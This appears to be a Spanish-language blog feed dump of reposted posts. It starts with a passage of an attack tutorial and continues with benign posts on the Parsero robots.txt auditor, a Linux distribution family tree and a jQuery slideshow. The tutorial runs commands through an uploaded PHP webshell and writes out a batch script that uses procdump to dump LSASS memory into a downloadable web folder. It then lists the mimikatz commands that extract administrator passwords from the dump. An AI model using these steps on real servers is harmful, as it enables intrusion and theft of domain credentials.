<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLutDxrD0pPSRhx89Jl1qN8s-ElbfyyLaqI9d3Yo8zbrhQM-aMxfgEhB36mjq_liBl8DFjjVpo0Ueme6nfEaA85EMhXkF7PHMVIN2SZAqs3m1i9tT5Go1EkOj6_39TtW4Xxrfyr0eEzK6/s1600/up01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMLutDxrD0pPSRhx89Jl1qN8s-ElbfyyLaqI9d3Yo8zbrhQM-aMxfgEhB36mjq_liBl8DFjjVpo0Ueme6nfEaA85EMhXkF7PHMVIN2SZAqs3m1i9tT5Go1EkOj6_39TtW4Xxrfyr0eEzK6/s400/up01.png" /></a></div>
<center>
Subiendo "WebShell" al servidor</center>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAcgRJYs0PmDuI3xWVu8ZeytwApaeWB8xuTq1ttntEqPPH7wYXNODyd9aamhpObElN80hNsSlzmwNXRIjUTrOxwhPadO0mymekgILfeM1qWSA1dFhMc_DTiHy662fnQJzNV9Foot-nSTBz/s1600/up02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAcgRJYs0PmDuI3xWVu8ZeytwApaeWB8xuTq1ttntEqPPH7wYXNODyd9aamhpObElN80hNsSlzmwNXRIjUTrOxwhPadO0mymekgILfeM1qWSA1dFhMc_DTiHy662fnQJzNV9Foot-nSTBz/s400/up02.png" /></a></div>
<center>
Subiendo "procdump" al servidor</center>
<br />
<br />
<b>2.VOLCANDO LA RAM DEL SERVIDOR WEB</b>
<br /><br />
Ejecución del comando "dir" en el servidor para confirmar se logro subir la herramienta <b>procdump.exe</b> y el script desde donde se ejecutara (<b>script.dumper.bat</b>) <br />
<br />
Usaremos <b>Procdump</b> para volcar el espacio de la memoria RAM
asignado al proceso LSASS.EXE y generar archivo “dump” que se usará
fuera de linea para conseguir la contraseña del "Administrador local"
y/o del "Domain Admin".
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2GHP6w-O6NMf8wvy_qQYPXGpXB8cZGzVdZ27cONXqX6uLHDNBJwYffU5uZkmJqDsU6wjoy2psK1pd3NRUTYORjZoJs9foUdLgQVUQZibYyA44DmMIC65FfSinrGnTU1FujxCLdpp8g-Vl/s1600/cmd_dir.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2GHP6w-O6NMf8wvy_qQYPXGpXB8cZGzVdZ27cONXqX6uLHDNBJwYffU5uZkmJqDsU6wjoy2psK1pd3NRUTYORjZoJs9foUdLgQVUQZibYyA44DmMIC65FfSinrGnTU1FujxCLdpp8g-Vl/s400/cmd_dir.png" /></a></div>
Ejecución comando "dir" mediante <b>phpshell.php?cmd=dir</b>
<br />
<br />
<div align="justify">
<b>Como utilizo <i>procdump.exe</i>? </b>
<br />
<br />
Se ejecutara desde el archivo <b>script.dumper.bat</b> donde llamaremos a <b>procdump.exe</b> y le pasaremos los siguientes parámetros:
<br />
<br />
<b>-accepteula</b> : opción de línea de comando para aceptar automáticamente el contrato de licencia de Sysinternals.
<br />
<b>-ma</b> : escribir un archivo de volcado con toda la memoria del
proceso. El formato de volcado predeterminado sólo incluye hilos
(threads) del proceso e información de gestión.
<br />
<br />
Por último la ubicación donde se guardara el archivo con el volcado del proceso <b>lsass.exe</b> (C:\xampp\htdocs\webapp\admin\panel\images\) una ubicación donde se pueda descargar vía el servidor web.
<br />
<br />
Procdump : <a href="http://technet.microsoft.com/sysinternals/dd996900.aspx">http://technet.microsoft.com/sysinternals/dd996900.aspx</a>
<br />
</div>
<div style="background-color: #4d4d4d; border: 1px solid #aaa; font-size: 10pt; margin: 0px; padding: 10px 25px 10px 25px;">
<b>type script.dumper.bat </b>
<br />
<pre>C:\xampp\htdocs\webapp\admin\panel\images\procdump.exe
-accepteula
-ma lsass.exe
C:\xampp\htdocs\webapp\admin\panel\images\%COMPUTERNAME%_lsass.dmp
</pre>
</div>
<center>
Contenido del script "script.dumper.bat"</center>
<br />
<div align="justify">
<b>Como ejecutar <i>script.dumper.bat</i> en el servidor web? </b>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzosLTN9cebmBMvKEjf19ZRDV9WMQjSQLLX0LmrE-o3Cqx6jhAMMiU2-l6rnXDgGERDjTlCM-AwEQCQkqaPmBZyWzkALtZ7laT9IFqWBiWw9YXjGzu3cqA_57mtvTAGqIdhyphenhyphendWRaHSw4Xd/s1600/exe_dumper.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzosLTN9cebmBMvKEjf19ZRDV9WMQjSQLLX0LmrE-o3Cqx6jhAMMiU2-l6rnXDgGERDjTlCM-AwEQCQkqaPmBZyWzkALtZ7laT9IFqWBiWw9YXjGzu3cqA_57mtvTAGqIdhyphenhyphendWRaHSw4Xd/s400/exe_dumper.png" /></a></div>
<center>
Ejecución script.bat mediante <b>phpshell.php?cmd=script.dumper.bat</b></center>
<br />
<div align="justify">
Descargar el archivo “dump” para explotarlo con <b>#mimikat</b>
<br />
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVCr1092wIZkPaqSp_7s7hBemuZP4jFFeHW1ozOg5e-8ZAU3XHo4Szs7zpvaIIyeAgtH6xLTWUb_FTX0D9iS6mAdTpfynW0RMgoI6HRN0yzPKH1J7tMNplBLbXJX9I8FdAu7KJlwPblojS/s1600/down_dump.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVCr1092wIZkPaqSp_7s7hBemuZP4jFFeHW1ozOg5e-8ZAU3XHo4Szs7zpvaIIyeAgtH6xLTWUb_FTX0D9iS6mAdTpfynW0RMgoI6HRN0yzPKH1J7tMNplBLbXJX9I8FdAu7KJlwPblojS/s400/down_dump.png" /></a></div>
<center>
Descarga del volcado de la RAM desde el directorio web</center>
<br />
<br />
<div align="justify">
<b>3.USANDO MIMIKATZ 2.0 - Modulo MINIDUMP!!</b>
<br />
<br />
Descargar <b>mimikatz</b> desde el repositorio oficial <b><a href="http://blog.gentilkiwi.com/mimikatz" target="_blank">gentilkiwi</a></b>, descomprimir e ingresar desde la consola de comandos ejecutando <b>mimikatz.exe</b>.
<br />
</div>
<div style="background-color: #4d4d4d; border: 1px solid #aaa; font-size: 10pt; margin: 0px; padding: 10px 25px 10px 25px; text-align: left;">
<b>mimikatz # privilege::debug</b>
<br />
<b>mimikatz # sekurlsa::minidump</b> nombre-del-archivo-dump-descargado.dmp
<br />
<b>mimikatz # sekurlsa::logonpasswords</b>
<br />
</div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv3X74SymzmoNRHr4p4Sv3RfmuXNG4qHREdZHAuS3tA8O6gRUSI_2a1yrfScE3ks6D3iEBcuwj2JAsgLvZ2ky_9NFMBXlB281BYsgoLkXQaA-cvJwScLutJGQX41usMBCqTRqz_CRBjVlz/s1600/mimikatz2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv3X74SymzmoNRHr4p4Sv3RfmuXNG4qHREdZHAuS3tA8O6gRUSI_2a1yrfScE3ks6D3iEBcuwj2JAsgLvZ2ky_9NFMBXlB281BYsgoLkXQaA-cvJwScLutJGQX41usMBCqTRqz_CRBjVlz/s400/mimikatz2.png" /></a></div>
Listado de Archivos.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbtYF8ipgW5t1QP_wzseKF_mgy5vHr-SSKYgBJ-lxMbvDSVknLFOFKMH2-jSLh2-ehxOP4M2V5tafzD_Yy242WmacQV0Uwm8vRzcXK_udnfvyOLSQH1HWNMlXqiNBljh0Jle2-2UEHRzPL/s1600/mimikatz3.png" style="margin-left: 1em; margin-right: 1em;"><span style="display: inline-block; position: relative;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbtYF8ipgW5t1QP_wzseKF_mgy5vHr-SSKYgBJ-lxMbvDSVknLFOFKMH2-jSLh2-ehxOP4M2V5tafzD_Yy242WmacQV0Uwm8vRzcXK_udnfvyOLSQH1HWNMlXqiNBljh0Jle2-2UEHRzPL/s400/mimikatz3.png" /></span></a></div>
<center>
Enumeración de hashes y claves en texto plano del usuario Administrador</center>
<br />
<br />
<div align="justify">
<b>Herramientas utilizadas:</b>
Mimikatz: http://blog.gentilkiwi.com/securite/mimikatz/minidump<br />
Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx<br />
<br />
</div>
<div align="justify">
Fuente: http://ehopen-sec.blogspot.com/2014/01/extrayendo-contrasenas-de-la-ram-con.html</div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-30072220817110356002014-11-26T11:48:00.002-08:002014-11-26T11:48:23.178-08:00Parsero: auditando robots.txt<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
Hoy vengo
a traerles una herramienta para <b>auditar</b> el famoso protocolo que utilizan las webs para no dejarse ver por el buscador.</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
Este
script desarrollado en Python, toma el archivo <b>robots.txt</b> que impide a los buscadores indexar ciertos
path de la página y lo <b>analiza</b>, retornando cuáles son el estado de cada una de las entradas.</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
Herramienta <b>fácil</b> de utilizar y con la opción de buscar también los Disallow por el buscador de <a class="vglnk" href="http://www.microsoftstore.com/" rel="nofollow" title="Link added by VigLink"><span>Microsoft</span></a>, <b>Bing</b>.</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLSAapcF05C0n5VO1QZqcqFu-lOKyczA0hyphenhyphen47qp9JHRbE4B8gx52vfDkQWJue0iac6MFxrkJCvc6CLoBtzqClmTX6cnGjgJBjFnHIQzxXKZvcXiUtOUG0LaP2973XCrdIfuaLeVeoInws/s1600/Parsero_4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLSAapcF05C0n5VO1QZqcqFu-lOKyczA0hyphenhyphen47qp9JHRbE4B8gx52vfDkQWJue0iac6MFxrkJCvc6CLoBtzqClmTX6cnGjgJBjFnHIQzxXKZvcXiUtOUG0LaP2973XCrdIfuaLeVeoInws/s1600/Parsero_4.png" width="320" /></a></div>
<div class="western" lang="es-ES" style="margin-bottom: 0in;">
</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in;">
</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
Ya que
muchos <b>administradores</b> <b>creen</b> <b>que simplemente denegando el indexado</b>
desde aquí ya <b>están seguros</b>, es una buena herramienta para
testearlos.</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in; text-align: justify;">
Mírenlo en funcionamiento:</div>
<div class="western" lang="es-ES" style="margin-bottom: 0in;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBwMV6wOO9IO3bamv25aMcNnooQAyPxOcq7YVsgPM1lUfpBjawuwHG4A_7HjduD3f7nFc2IOerZ2qMr50_44P5zrgE0Nb7a-TAh_4KAnp3ztfR4A4vqExSPYiYKyA8UTRB8_eZGXQTZM/s1600/Parsero_6.png" style="margin-left: 1em; margin-right: 1em;"><span style="display: inline-block; position: relative;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBwMV6wOO9IO3bamv25aMcNnooQAyPxOcq7YVsgPM1lUfpBjawuwHG4A_7HjduD3f7nFc2IOerZ2qMr50_44P5zrgE0Nb7a-TAh_4KAnp3ztfR4A4vqExSPYiYKyA8UTRB8_eZGXQTZM/s1600/Parsero_6.png" width="400" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: justify;">
Así que si no quieren tener problemas con Parsero, mejor que administren y bloqueen <b>correctamente</b> los controles de acceso.</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: left;">
El <b>link</b> a la descarga es: <b><a href="http://adf.ly/fSB5x" target="_blank">Parsero</a></b></div>
<div class="separator" style="clear: both; text-align: left;">
<b> </b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Fuente: http://tutoriales-hacking.blogspot.com/2014/03/parsero-auditando-robotstxt.html </b></div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-63190899868328651592014-11-26T11:46:00.002-08:002014-11-26T11:46:11.850-08:00Árbol genealógico de distribuciones linux [1992-2012]En la siguiente imagen se ven las distintas distribuciones de GNU/Linux en
forma de árbol genealógico: distribuciones originales y derivadas, a
través de los años. Desde 1992 hasta 2012. Más de 20 años de historia:<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<img border="0" height="640" id="img_post" src="http://i.minus.com/ib1rZHDo4IHR8f.png" width="139" /><br />
<br />
<div style="text-align: justify;">
Pueden abrirla entera para mirar las distribuciones con mas detalle, así sabran cuantas distros han usado durante su vida informática. No encontre el famelix o busque mal xD.</div>
<br />
Fuente:http://www.identi.li/index.php?topic=348672<br />
<br />
Saludos Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-58085422211554442812014-11-26T10:01:00.002-08:002014-11-26T10:01:28.435-08:00Slides de imágenes en Jquery tipo Apple<div class="entry">
<div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;">
</div>
<div style="text-align: center;">
<img alt="An Apple-like Slideshow Gallery" class="size-full wp-image-487" height="153" src="http://cdn.tutorialzine.com/wp-content/uploads/2009/11/i2.jpg" title="An Apple-like Slideshow Gallery" width="400" /></div>
<br />
Un Slide de imágenes muy bonito en jquery, todo el código y el demo se encuentran en la parte inferior.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://cdn.tutorialzine.com/wp-content/uploads/2009/11/i1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="306" src="http://cdn.tutorialzine.com/wp-content/uploads/2009/11/i1.jpg" title="Click para ver" width="400" /></a></div>
<br />
• <a href="http://demo.tutorialzine.com/2009/11/beautiful-apple-gallery-slideshow/demo.html" target="_blank" title="Ver demo de carrusel en Jquery">Ver demo del carrusel</a><br />
• <a href="http://www.kaosconcept.net/wp-content/demo-carrusel.zip" target="_self" title="Descargar carrusel en Jquery">Descargar archivos</a><br />
• <a href="http://tutorialzine.com/2009/11/beautiful-apple-gallery-slideshow/" target="_blank" title="Ver tutorial de slide en jquery">Ver tutorial</a><br />
<br />
Fuente: http://www.kaosconcept.net/codigo/carrusel-de-imagenes-en-jquery-tipo-apple/ <br />
Link tutorial: http://tutorialzine.com/2009/11/beautiful-apple-gallery-slideshow/<br />
</div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0